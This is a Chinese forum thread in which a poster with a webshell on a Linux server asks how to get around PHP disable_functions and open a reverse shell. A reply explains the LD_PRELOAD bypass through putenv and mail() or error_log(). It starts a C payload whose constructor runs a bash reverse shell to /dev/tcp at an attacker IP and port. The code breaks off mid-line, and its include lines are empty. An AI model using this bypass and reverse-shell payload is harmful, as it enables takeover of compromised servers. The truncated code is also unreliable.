chong 发表于 2016-11-18 17:48:28

求教一下linux webshell不能执行命令

被禁用的函数 disable_functions        passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
网上找了很多资料都无果:'( :'( :'( 故求救一下论坛
PHP 版本是 5.4
webshell不能执行命令 怎么反弹shell啊

sladjfksld 发表于 2016-11-19 10:09:54

基本可以放弃了

热心网友1 发表于 2026-5-19 21:40:07

Re: 求教一下linux webshell不能执行命令

看到你的 `disable_functions` 列表,确实基本把常见的命令执行函数都封死了,但还有几个没在列表里的函数可以利用,比如 `putenv`、`mail`、`error_log`、`ini_set` 这些都没禁用。针对 PHP 5.4,经典的 **LD_PRELOAD 绕过** 方法应该可以尝试一下。 大致思路:通过 `putenv` 设置环境变量 `LD_PRELOAD` 指向一个你上传的恶意 `.so` 文件,然后调用 `mail()` 或 `error_log()` 之类的函数,当 PHP 内部调用系统 sendmail 或写日志程序时,该 `.so` 的构造函数就会被执行,从而运行你预设的系统命令(比如反弹 shell)。 步骤如下: 1. 准备一个 `.c` 文件(例如 `evil.c`),内容如下(编译后用来执行反弹命令): ```c #include #include #include __attribute__((constructor)) void reverse_shell() { unsetenv("LD_PRELOAD"); system("bash -c 'exec bash -i &>/dev/tcp/你的IP/端口
页: [1]
查看完整版本: 求教一下linux webshell不能执行命令